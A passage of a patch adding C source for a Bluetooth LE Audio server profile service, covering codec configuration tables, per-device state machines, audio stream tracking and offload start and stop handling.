CONFIG_LEAS_CALL_SOURCE_SUPPORTED_SAMPLE_FREQUENCY +#define CONFIG_LEAS_CALL_SOURCE_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_8000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_24000) +#endif + +#ifndef CONFIG_LEAS_MEDIA_SINK_SUPPORTED_SAMPLE_FREQUENCY +#define CONFIG_LEAS_MEDIA_SINK_SUPPORTED_SAMPLE_FREQUENCY (ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_16000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_32000 | ADPT_LEA_SUPPORTED_SAMPLE_FREQUENCY_48000) +#endif + +#ifndef CONFIG_LEAS_CALL_SINK_METADATA_PREFER_CONTEX +#define CONFIG_LEAS_CALL_SINK_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_INSTRUCTIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_SOUND_EFFECTS | ADPT_LEA_CONTEXT_TYPE_NOTIFICATIONS | ADPT_LEA_CONTEXT_TYPE_RINGTONE | ADPT_LEA_CONTEXT_TYPE_ALERTS | ADPT_LEA_CONTEXT_TYPE_EMERGENCY_ALARM) +#endif + +#ifndef CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX +#define CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_LIVE) +#endif + +#ifndef CONFIG_LEAS_MEDIA_SINK_METADATA_PREFER_CONTEX +#define CONFIG_LEAS_MEDIA_SINK_METADATA_PREFER_CONTEX (ADPT_LEA_CONTEXT_TYPE_MEDIA | ADPT_LEA_CONTEXT_TYPE_GAME | ADPT_LEA_CONTEXT_TYPE_LIVE) +#endif + +#ifndef CONFIG_LEAS_PACS_FRAME_DURATION +#define CONFIG_LEAS_PACS_FRAME_DURATION (ADPT_LEA_SUPPORTED_FRAME_DURATION_10 | ADPT_LEA_PREFERRED_FRAME_DURATION_10) +#endif + +#define CHECK_ENABLED() \ + { \ + if (!g_lea_server_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +/**************************************************************************** + * Private Types + ****************************************************************************/ +typedef struct +{ + bool started; + bool offloading; + uint8_t max_connections; + uint32_t sink_location; + uint32_t source_location; + bt_list_t* leas_devices; + bt_list_t* leas_stream; + callbacks_list_t* callbacks; + pthread_mutex_t device_lock; + pthread_mutex_t stream_lock; +} lea_server_service_t; + +typedef struct { + uint8_t ase_id; + uint8_t ase_state; + uint16_t type; +} lea_server_endpoint_t; + +typedef struct +{ + bt_address_t addr; + + uint8_t ase_number; + lea_server_endpoint_t ase[2]; // CONFIG_BLUETOOTH_LEAUDIO_SERVER_SINK_ASE_NUMBER + CONFIG_BLUETOOTH_LEAUDIO_SERVER_SOURCE_ASE_NUMBER + lea_server_state_machine_t* leasm; + profile_connection_state_t state; +} lea_server_device_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ +static lea_server_state_machine_t* get_state_machine(bt_address_t* addr); + +static void on_lea_sink_audio_suspend(); +static void on_lea_sink_audio_resume(); +static void on_lea_sink_meatadata_updated(); + +static void on_lea_source_audio_suspend(); +static void on_lea_source_audio_resume(); +static void on_lea_source_meatadata_updated(); +static void on_lea_source_audio_send(uint8_t* buffer, uint16_t length); + +static void* lea_server_register_callbacks(void* remote, const lea_server_callbacks_t* callbacks); +static bool lea_server_unregister_callbacks(void** remote, void* cookie); +static profile_connection_state_t lea_server_get_connection_state(bt_address_t* addr); +static bt_status_t lea_server_start_announce(int8_t adv_id, uint8_t announce_type, + uint8_t* adv_data, uint16_t adv_size, + uint8_t* md_data, uint16_t md_size); +static bt_status_t lea_server_stop_announce(int8_t adv_id); +static bt_status_t lea_server_disconnect_device(bt_address_t* addr); +static bt_status_t lea_server_disconnect_audio(bt_address_t* addr); +static bool lea_server_streams_are_started(bt_address_t* addr); + +/**************************************************************************** + * Public Function Prototypes + ****************************************************************************/ +bt_status_t lea_server_send_message(lea_server_msg_t* msg); + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static lea_server_service_t g_lea_server_service = { + .started = false, + .leas_devices = NULL, + .leas_stream = NULL, + .callbacks = NULL, +}; + +static lea_sink_callabcks_t g_lea_sink_callbacks = { + .lea_audio_meatadata_updated_cb = on_lea_sink_meatadata_updated, + .lea_audio_resume_cb = on_lea_sink_audio_resume, + .lea_audio_suspend_cb = on_lea_sink_audio_suspend, +}; + +static lea_source_callabcks_t g_lea_source_callbacks = { + .lea_audio_meatadata_updated_cb = on_lea_source_meatadata_updated, + .lea_audio_resume_cb = on_lea_source_audio_resume, + .lea_audio_suspend_cb = on_lea_source_audio_suspend, + .lea_audio_send_cb = on_lea_source_audio_send, +}; + +static const lea_server_interface_t LEAServerInterface = { + sizeof(LEAServerInterface), + .register_callbacks = lea_server_register_callbacks, + .unregister_callbacks = lea_server_unregister_callbacks, + .start_announce = lea_server_start_announce, + .stop_announce = lea_server_stop_announce, + .get_connection_state = lea_server_get_connection_state, + .disconnect = lea_server_disconnect_device, + .disconnect_audio = lea_server_disconnect_audio, +}; + +static lea_metadata_t g_metadata_info[] = { + { .type = ADPT_LEA_METADATA_PREFERRED_AUDIO_CONTEXTS, + .preferred_contexts = CONFIG_LEAS_CALL_SINK_METADATA_PREFER_CONTEX }, + { .type = ADPT_LEA_METADATA_PREFERRED_AUDIO_CONTEXTS, + .preferred_contexts = CONFIG_LEAS_CALL_SOURCE_METADATA_PREFER_CONTEX }, + { .type = ADPT_LEA_METADATA_PREFERRED_AUDIO_CONTEXTS, + .preferred_contexts = CONFIG_LEAS_MEDIA_SINK_METADATA_PREFER_CONTEX } +}; + +static lea_pac_info_t g_pacs_info[] = { + { .pac_type = ADPT_LEA_PAC_TYPE_SINK_PAC, .pac_id = 1, .codec_id.format = ADPT_LEA_FORMAT_LC3, .codec_pac = { + .mask = 0x1F, + .frequencies = CONFIG_LEAS_CALL_SINK_SUPPORTED_SAMPLE_FREQUENCY, + .durations = CONFIG_LEAS_PACS_FRAME_DURATION, + .channels = ADPT_LEA_SUPPORTED_CHANNEL_COUNT_1, + .frame_octets_min = 26, + .frame_octets_max = 80, + .max_frames = 1, + }, + .md_number = sizeof(g_metadata_info[0]) / sizeof(lea_metadata_t), + .md_value = &g_metadata_info[0] }, + { .pac_type = ADPT_LEA_PAC_TYPE_SOURCE_PAC, .pac_id = 2, .codec_id.format = ADPT_LEA_FORMAT_LC3, .codec_pac = { + .mask = 0x1F, + .frequencies = CONFIG_LEAS_CALL_SOURCE_SUPPORTED_SAMPLE_FREQUENCY, + .durations = CONFIG_LEAS_PACS_FRAME_DURATION, + .channels = ADPT_LEA_SUPPORTED_CHANNEL_COUNT_1, + .frame_octets_min = 26, + .frame_octets_max = 80, + .max_frames = 1, + }, + .md_number = sizeof(g_metadata_info[1]) / sizeof(lea_metadata_t), + .md_value = &g_metadata_info[1] }, + { .pac_type = ADPT_LEA_PAC_TYPE_SINK_PAC, .pac_id = 3, .codec_id.format = ADPT_LEA_FORMAT_LC3, .codec_pac = { + .mask = 0x1F, + .frequencies = CONFIG_LEAS_MEDIA_SINK_SUPPORTED_SAMPLE_FREQUENCY, + .durations = CONFIG_LEAS_PACS_FRAME_DURATION, + .channels = ADPT_LEA_SUPPORTED_CHANNEL_COUNT_1, + .frame_octets_min = 60, + .frame_octets_max = 155, + .max_frames = 1, + }, + .md_number = sizeof(g_metadata_info[2]) / sizeof(lea_metadata_t), + .md_value = &g_metadata_info[2] }, +}; + +static lea_csis_info_t g_csis_info[] = { + { + .csis_id = ADPT_LEA_CSIS1_ID, + .set_size = CONFIG_BLUETOOTH_LEAUDIO_SERVER_CSIS_SIZE, + .rank = CONFIG_BLUETOOTH_LEAUDIO_SERVER_CSIS_RANK, + .sirk_type = ADPT_LEA_SIRK_TYPE_ENCRYPTED, + .sirk = { 0xB8, 0x03, 0xEA, 0xC6, 0xAF, 0xBB, 0x65, 0xA2, 0x5A, 0x41, 0xF1, 0x53, 0x05, 0x68, 0x8E, 0x83 }, + }, +}; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool +lea_server_device_cmp(void* device, void* addr) +{ + return bt_addr_compare(&((lea_server_device_t*)device)->addr, addr) == 0; +} + +static lea_server_device_t* find_lea_server_device_by_addr(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + + return bt_list_find(service->leas_devices, lea_server_device_cmp, addr); +} + +static lea_server_device_t* lea_server_device_new(bt_address_t* addr, + lea_server_state_machine_t* leasm) +{ + lea_server_device_t* device = calloc(1, sizeof(lea_server_device_t)); + if (!device) + return NULL; + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->leasm = leasm; + + return device; +} + +static void lea_server_device_delete(lea_server_device_t* device) +{ + if (!device) + return; + + lea_server_msg_t* msg = lea_server_msg_new(DISCONNECT, &device->addr); + if (msg == NULL) + return; + + lea_server_state_machine_dispatch(device->leasm, msg); + lea_server_msg_destory(msg); + lea_server_state_machine_destory(device->leasm); + free(device); +} + +static lea_server_state_machine_t* get_state_machine(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_server_state_machine_t* leasm; + lea_server_device_t* device; + + if (!service->started) + return NULL; + + device = find_lea_server_device_by_addr(addr); + if (device) + return device->leasm; + + leasm = lea_server_state_machine_new(addr, (void*)service); + if (!leasm) { + BT_LOGE("Create state machine failed"); + return NULL; + } + + lea_server_state_machine_set_offloading(leasm, service->offloading); + device = lea_server_device_new(addr, leasm); + if (!device) { + BT_LOGE("New device alloc failed"); + lea_server_state_machine_destory(leasm); + return NULL; + } + + bt_list_add_tail(service->leas_devices, device); + + return leasm; +} + +static void lea_server_do_shutdown(void) +{ + lea_server_service_t* service = &g_lea_server_service; + + if (!service->started) + return; + + pthread_mutex_lock(&service->device_lock); + service->started = false; + bt_list_free(service->leas_devices); + bt_list_free(service->leas_stream); + service->leas_devices = NULL; + service->leas_stream = NULL; + pthread_mutex_unlock(&service->device_lock); + pthread_mutex_destroy(&service->device_lock); + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + lea_audio_sink_cleanup(); + lea_audio_source_cleanup(); + bt_sal_lea_cleanup(); +} + +static bool lea_server_message_prehandle(lea_server_state_machine_t* leasm, + lea_server_msg_t* event) +{ + lea_server_service_t* service = &g_lea_server_service; + + switch (event->event) { + case STACK_EVENT_STREAM_STARTED: { + lea_audio_stream_t* audio_stream = (lea_audio_stream_t*)event->data.data; + lea_offload_config_t offload = { 0 }; + uint8_t param[sizeof(lea_offload_config_t)]; + size_t size; + bool ret; + + BT_LOGD("%s addr:%s, started:%d, stream_id:0x%08x", __func__, bt_addr_str(&audio_stream->addr), + audio_stream->started, audio_stream->stream_id); + memcpy(&audio_stream->addr, &event->data.addr, sizeof(bt_address_t)); + audio_stream->started = true; + audio_stream = lea_server_update_stream(audio_stream); + if (!audio_stream) { + BT_LOGE("fail, %s audio_stream not exist", __func__); + return false; + } + + lea_codec_set_config(audio_stream); + if (!service->offloading) { + break; + } + + ret = lea_server_streams_are_started(&event->data.addr); + if (!ret) { + BT_LOGW("device(%s) streams streamming not completed", bt_addr_str(&event->data.addr)); + return false; + } + + lea_codec_get_offload_config(&offload); + offload.initiator = false; + ret = lea_offload_start_builder(&offload, param, &size); + if (!ret) { + BT_LOGE("failed, lea_offload_start_builder failed"); + return false; + } + + event->event = OFFLOAD_START_REQ; + free(event->data.data); + event->data.data = malloc(size); + memcpy(event->data.data, param, size); + event->data.size = size; + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_offload_config_t offload = { 0 }; + lea_audio_stream_t* stream; + uint8_t param[sizeof(lea_offload_config_t)]; + lea_server_msg_t* msg; + size_t size; + bool ret; + + if (!service->offloading) { + break; + } + + lea_codec_get_offload_config(&offload); + ret = lea_offload_stop_builder(&offload, param, &size); + if (!ret) { + BT_LOGE("failed, lea_offload_stop_builder"); + break; + } + + stream = lea_server_find_stream(event->data.valueint1); + if (stream) { + lea_codec_unset_config(stream->is_source); + } + + msg = lea_server_msg_new_ext(OFFLOAD_STOP_REQ, &event->data.addr, param, size); + if (!msg) { + BT_LOGE("failed, %s lea_server_msg_new_ext", __func__); + break; + } + lea_server_send_message(msg); + break; + } + default: + break; + } + + return true; +} + +static void lea_server_process_message(void* data) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_server_msg_t* msg = (lea_server_msg_t*)data; + + switch (msg->event) { + case SHUTDOWN: + lea_server_do_shutdown(); + break; + case STACK_EVENT_STACK_STATE: + lea_server_notify_stack_state_changed(msg->data.valueint1); + break; + default: { + bool dispatch; + + pthread_mutex_lock(&service->device_lock); + lea_server_state_machine_t* leasm = get_state_machine(&msg->data.addr); + if (!leasm) { + pthread_mutex_unlock(&service->device_lock); + BT_LOGE("%s, event:%d drop, leasm null", __func__, msg->event); + break; + } + + dispatch = lea_server_message_prehandle(leasm, msg); + if (!dispatch) { + pthread_mutex_unlock(&service->device_lock); + BT_LOGE("%s, event:%d not dispatch", __func__, msg->event); + break; + } + + lea_server_state_machine_dispatch(leasm, msg); + pthread_mutex_unlock(&service->device_lock); + break; + } + } + + lea_server_msg_destory(msg); +} + +bt_status_t lea_server_send_message(lea_server_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_server_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_server_send_event(bt_address_t* addr, lea_server_event_t evt) +{ + lea_server_msg_t* msg = lea_server_msg_new(evt, addr); + + if (!msg) + return BT_STATUS_NOMEM; + + return lea_server_send_message(msg); +} + +static void streams_send_message(bool is_source, lea_server_event_t event) +{ + lea_server_service_t* service = &g_lea_server_service; + bt_list_t* list = service->leas_stream; + lea_audio_stream_t* stream; + bt_list_node_t* node; + lea_server_msg_t* msg; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + if (stream->started && (stream->is_source == is_source)) { + msg = lea_server_msg_new(event, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream->stream_id; + lea_server_send_message(msg); + } + } +} + +static void on_lea_sink_audio_suspend() +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_sink_audio_resume() +{ + // todo resume + BT_LOGD("%s", __func__); +} + +static void on_lea_sink_meatadata_updated() +{ + streams_send_message(false, STACK_EVENT_METADATA_UPDATED); +} + +static void on_lea_source_audio_suspend() +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_source_audio_resume() +{ + // todo resume + BT_LOGD("%s", __func__); +} + +static void on_lea_source_meatadata_updated() +{ + streams_send_message(true, STACK_EVENT_METADATA_UPDATED); +} + +static void lea_audio_send_data(lea_audio_stream_t* stream, uint8_t* buffer, uint16_t length) +{ + lea_send_iso_data_t* iso_pkt; + + iso_pkt = bt_sal_lea_alloc_send_buffer(stream->sdu_size, stream->iso_handle); + memcpy(iso_pkt->sdu, buffer, length); + iso_pkt->sdu_length = length; + + bt_sal_lea_send_iso_data(iso_pkt); +} + +static void on_lea_source_audio_send(uint8_t* buffer, uint16_t length) +{ + lea_server_service_t* service = &g_lea_server_service; + bt_list_t* list = service->leas_stream; + lea_audio_stream_t* stream; + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + if (stream->started && stream->is_source) { + lea_audio_send_data(stream, buffer, length); + } + } +} + +static bt_status_t lea_server_init(void) +{ + lea_server_service_t* service = &g_lea_server_service; + bt_status_t ret; + + BT_LOGD("%s", __func__); + ret = lea_audio_sink_init(service->offloading); + if (ret != BT_STATUS_SUCCESS) { + return ret; + } + + ret = lea_audio_source_init(service->offloading); + if (ret != BT_STATUS_SUCCESS) { + return ret; + } + + return BT_STATUS_SUCCESS; +} + +static void lea_server_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static bt_status_t lea_server_startup(profile_on_startup_t cb) +{ + bt_status_t status; + pthread_mutexattr_t attr; + lea_server_service_t* service = &g_lea_server_service; + + BT_LOGD("%s", __func__); + if (service->started) + return BT_STATUS_SUCCESS; + + service->leas_devices = bt_list_new((bt_list_free_cb_t) + lea_server_device_delete); + service->leas_stream = bt_list_new(NULL); + service->callbacks = bt_callbacks_list_new(2); + if (!service->leas_devices || !service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + +#if defined(CONFIG_KVDB) && defined(__NuttX__) + service->sink_location = property_get_int32("persist.bluetooth.lea.sinkloc", CONFIG_BLUETOOTH_LEAUDIO_SERVER_SINK_LOCATION); + service->source_location = property_get_int32("persist.bluetooth.lea.srcloc", CONFIG_BLUETOOTH_LEAUDIO_SERVER_SOURCE_LOCATION); +#else + service->sink_location = CONFIG_BLUETOOTH_LEAUDIO_SERVER_SINK_LOCATION; + service->source_location = CONFIG_BLUETOOTH_LEAUDIO_SERVER_SOURCE_LOCATION; +#endif + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->device_lock, &attr); + pthread_mutex_init(&service->stream_lock, &attr); + + status = bt_sal_lea_init(); + if (status != BT_STATUS_SUCCESS) + goto fail; + + service->started = true; + + return BT_STATUS_SUCCESS; + +fail: + bt_list_free(service->leas_devices); + service->leas_devices = NULL; + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->device_lock); + pthread_mutex_destroy(&service->stream_lock); + return status; +} + +static bt_status_t lea_server_shutdown(profile_on_shutdown_t cb) +{ + BT_LOGD("%s", __func__); + + return lea_server_send_event(NULL, SHUTDOWN); +} + +static void lea_server_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_LEA_OFFLOADING: + g_lea_server_service.offloading = msg->data.valuebool; + break; + + default: + break; + } +} + +static void* lea_server_register_callbacks(void* remote, const lea_server_callbacks_t* callbacks) +{ + lea_server_service_t* service = &g_lea_server_service; + + if (!service->started) + return NULL; + + return bt_remote_callbacks_register(service->callbacks, remote, (void*)callbacks); +} + +static bool lea_server_unregister_callbacks(void** remote, void* cookie) +{ + lea_server_service_t* service = &g_lea_server_service; + + if (!service->started) + return false; + + return bt_remote_callbacks_unregister(service->callbacks, remote, cookie); +} + +static void lea_server_update_connection_state(bt_address_t* addr, profile_connection_state_t state) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_server_device_t* device; + + device = find_lea_server_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device(%s) not found", __func__, bt_addr_str(addr)); + return; + } + + pthread_mutex_lock(&service->device_lock); + device->state = state; + pthread_mutex_unlock(&service->device_lock); +} + +static profile_connection_state_t lea_server_get_connection_state(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_server_device_t* device; + profile_connection_state_t conn_state; + + device = find_lea_server_device_by_addr(addr); + if (!device) + return PROFILE_STATE_DISCONNECTED; + + pthread_mutex_lock(&service->device_lock); + conn_state = device->state; + pthread_mutex_unlock(&service->device_lock); + + return conn_state; +} + +static bt_status_t lea_server_start_announce(int8_t adv_id, uint8_t announce_type, + uint8_t* adv_data, uint16_t adv_size, + uint8_t* md_data, uint16_t md_size) +{ + return bt_sal_lea_server_start_announce(adv_id, announce_type, adv_data, + adv_size, md_data, md_size); +} + +static bt_status_t lea_server_stop_announce(int8_t adv_id) +{ + return bt_sal_lea_server_stop_announce(adv_id); +} + +static bt_status_t lea_server_disconnect_device(bt_address_t* addr) +{ + profile_connection_state_t state; + + CHECK_ENABLED(); + state = lea_server_get_connection_state(addr); + if (state == PROFILE_STATE_DISCONNECTED || state == PROFILE_STATE_DISCONNECTING) + return BT_STATUS_FAIL; + + return bt_sal_lea_disconnect(addr); +} + +static bt_status_t lea_server_disconnect_audio(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + profile_connection_state_t state; + lea_server_device_t* device; + int index; + lea_server_endpoint_t* ase; + + CHECK_ENABLED(); + state = lea_server_get_connection_state(addr); + if (state == PROFILE_STATE_DISCONNECTED || state == PROFILE_STATE_DISCONNECTING) + return BT_STATUS_FAIL; + + device = find_lea_server_device_by_addr(addr); + if (!device) { + return BT_STATUS_DEVICE_NOT_FOUND; + } + + pthread_mutex_lock(&service->device_lock); + for (index = 0; index < device->ase_number; index++) { + ase = &device->ase[index]; + bt_sal_lea_server_request_disable(addr, ase->ase_id); + } + pthread_mutex_unlock(&service->device_lock); + + return BT_STATUS_SUCCESS; +} + +static const void* get_leas_profile_interface(void) +{ + return &LEAServerInterface; +} + +static int lea_server_dump(void) +{ + printf("impl hfp hf dump"); + return 0; +} + +static bool lea_server_stream_cmp(void* audio_stream, void* stream_id) +{ + return ((lea_audio_stream_t*)audio_stream)->stream_id == *((uint32_t*)stream_id); +} + +static void update_server_ase(lea_server_device_t* device, uint8_t id, uint8_t state, uint16_t type) +{ + static lea_server_service_t* service = &g_lea_server_service; + int index; + bool found = false; + + pthread_mutex_lock(&service->device_lock); + for (index = 0; index < device->ase_number; index++) { + if (device->ase[index].ase_id == id) { + device->ase[index].ase_state = state; + found = true; + break; + } + } + + if (!found) { + device->ase[device->ase_number].type = type; + device->ase[device->ase_number].ase_id = id; + device->ase_number++; + } + + pthread_mutex_unlock(&service->device_lock); +} + +static bool lea_server_streams_are_started(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + bt_list_t* list = service->leas_stream; + lea_audio_stream_t* stream; + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + if (bt_addr_compare(addr, &stream->addr) == 0) { + if (!stream->started) { + return false; + } + } + } + return true; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +lea_audio_stream_t* lea_server_add_stream( + uint32_t stream_id, bt_address_t* remote_addr) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_audio_stream_t* audio_stream; + + audio_stream = lea_server_find_stream(stream_id); + if (audio_stream) { + memcpy(&audio_stream->addr, remote_addr, sizeof(bt_address_t)); + return audio_stream; + } + + audio_stream = calloc(1, sizeof(lea_audio_stream_t)); + if (!audio_stream) { + BT_LOGE("error, malloc %s", __func__); + return NULL; + } + + audio_stream->stream_id = stream_id; + audio_stream->is_source = bt_sal_lea_is_source_stream(stream_id); + memcpy(&audio_stream->addr, remote_addr, sizeof(bt_address_t)); + pthread_mutex_lock(&service->stream_lock); + bt_list_add_tail(service->leas_stream, audio_stream); + pthread_mutex_unlock(&service->stream_lock); + + return audio_stream; +} + +lea_audio_stream_t* lea_server_find_stream(uint32_t stream_id) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_audio_stream_t* stream; + + pthread_mutex_lock(&service->stream_lock); + stream = bt_list_find(service->leas_stream, lea_server_stream_cmp, &stream_id); + pthread_mutex_unlock(&service->stream_lock); + + return stream; +} + +lea_audio_stream_t* lea_server_update_stream(lea_audio_stream_t* stream) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_audio_stream_t* local_stream = NULL; + + pthread_mutex_lock(&service->stream_lock); + local_stream = bt_list_find(service->leas_stream, lea_server_stream_cmp, &stream->stream_id); + if (!local_stream) { + BT_LOGE("fail, %s addr:%s, stream_id:0x%08x not exist", __func__, + bt_addr_str(&stream->addr), stream->stream_id); + pthread_mutex_unlock(&service->stream_lock); + return NULL; + } + + memcpy(local_stream, stream, sizeof(lea_audio_stream_t)); + pthread_mutex_unlock(&service->stream_lock); + + return local_stream; +} + +void lea_server_remove_stream(uint32_t stream_id) +{ + lea_server_service_t* service = &g_lea_server_service; + lea_audio_stream_t* audio_stream; + + pthread_mutex_lock(&service->stream_lock); + audio_stream = bt_list_find(service->leas_stream, lea_server_stream_cmp, &stream_id); + bt_list_remove(service->leas_stream, audio_stream); + pthread_mutex_unlock(&service->stream_lock); +} + +void lea_server_remove_streams() +{ + lea_server_service_t* service = &g_lea_server_service; + + pthread_mutex_lock(&service->stream_lock); + bt_list_clear(service->leas_stream); + pthread_mutex_unlock(&service->stream_lock); +} + +void lea_server_notify_stack_state_changed(lea_server_stack_state_t + enabled) +{ + lea_server_service_t* service = &g_lea_server_service; + + BT_LOGD("%s", __func__); + LEAS_CALLBACK_FOREACH(service->callbacks, + server_stack_state_cb, enabled); +} + +void lea_server_notify_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state) +{ + lea_server_service_t* service = &g_lea_server_service; + BT_LOGD("%s", __func__); + + lea_server_update_connection_state(addr, state); + LEAS_CALLBACK_FOREACH(service->callbacks, + server_connection_state_cb, state, addr); +} + +void lea_server_on_stack_state_changed(lea_server_stack_state_t enabled) +{ + lea_server_msg_t* msg = lea_server_msg_new(STACK_EVENT_STACK_STATE, + NULL); + if (!msg) + return; + + msg->data.valueint1 = enabled; + lea_server_send_message(msg); +} + +void lea_server_on_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state) +{ + lea_server_msg_t* msg = lea_server_msg_new(STACK_EVENT_CONNECTION_STATE, + addr); + if (!msg) + return; + + msg->data.valueint1 = state; + lea_server_send_message(msg); +} + +void lea_server_on_storage_changed(void* value, uint32_t size) +{ + lea_server_msg_t* msg = lea_server_msg_new_ext(STACK_EVENT_STORAGE, NULL, value, size); + if (!msg) + return; + + lea_server_send_message(msg); +} + +void lea_server_on_stream_added(bt_address_t* addr, uint32_t stream_id) +{ + lea_server_msg_t* msg = lea_server_msg_new(STACK_EVENT_STREAM_ADDED, addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_stream_removed(bt_address_t* addr, uint32_t stream_id) +{ + lea_server_msg_t* msg = lea_server_msg_new(STACK_EVENT_STREAM_REMOVED, addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_stream_started(lea_audio_stream_t* audio) +{ + lea_audio_stream_t* stream; + lea_server_msg_t* msg; + + stream = lea_server_find_stream(audio->stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, audio->stream_id); + return; + } + + if (stream->is_source) { + lea_audio_source_set_callback(&g_lea_source_callbacks); + } else { + lea_audio_sink_set_callback(&g_lea_sink_callbacks); + } + + msg = lea_server_msg_new_ext(STACK_EVENT_STREAM_STARTED, + &stream->addr, audio, sizeof(lea_audio_stream_t)); + if (!msg) + return; + + lea_server_send_message(msg); +} + +void lea_server_on_stream_stopped(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_server_msg_t* msg; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_server_msg_new(STACK_EVENT_STREAM_STOPPED, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_stream_suspend(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_server_msg_t* msg; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_server_msg_new(STACK_EVENT_STREAM_SUSPEND, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_stream_resume(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_server_msg_t* msg; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_server_msg_new(STACK_EVENT_STREAM_RESUME, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_metedata_updated(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_server_msg_t* msg; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_server_msg_new(STACK_EVENT_METADATA_UPDATED, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_server_send_message(msg); +} + +void lea_server_on_stream_recv(uint32_t stream_id, uint32_t time_stamp, + uint16_t seq_number, uint8_t* sdu, uint16_t size) +{ + lea_audio_stream_t* stream; + lea_recv_iso_data_t* packet; + + stream = lea_server_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + packet = lea_audio_sink_packet_alloc(time_stamp, seq_number, sdu, size); + if (!packet) + return; + + // todo mix from many stream ? + lea_audio_sink_packet_recv(packet); +} + +bt_status_t lea_server_streams_started(bt_address_t* addr) +{ + lea_server_service_t* service = &g_lea_server_service; + bt_list_t* list = service->leas_stream; + lea_audio_stream_t* stream; + bt_list_node_t* node; + lea_server_msg_t* msg; + lea_server_state_machine_t* leas_sm; + + leas_sm = get_state_machine(addr); + if (!leas_sm) { + BT_LOGE("failed, %s leas_sm null", __func__); + return BT_STATUS_NOMEM; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + BT_LOGD("%s addr:%s, started:%d, stream_id:0x%08x", __func__, bt_addr_str(&stream->addr), + stream->started, stream->stream_id); + if (stream->started && (bt_addr_compare(addr, &stream->addr) == 0)) { + msg = lea_server_msg_new_ext(STACK_EVENT_STREAM_STARTED, + &stream->addr, stream, sizeof(lea_audio_stream_t)); + if (!msg) + return 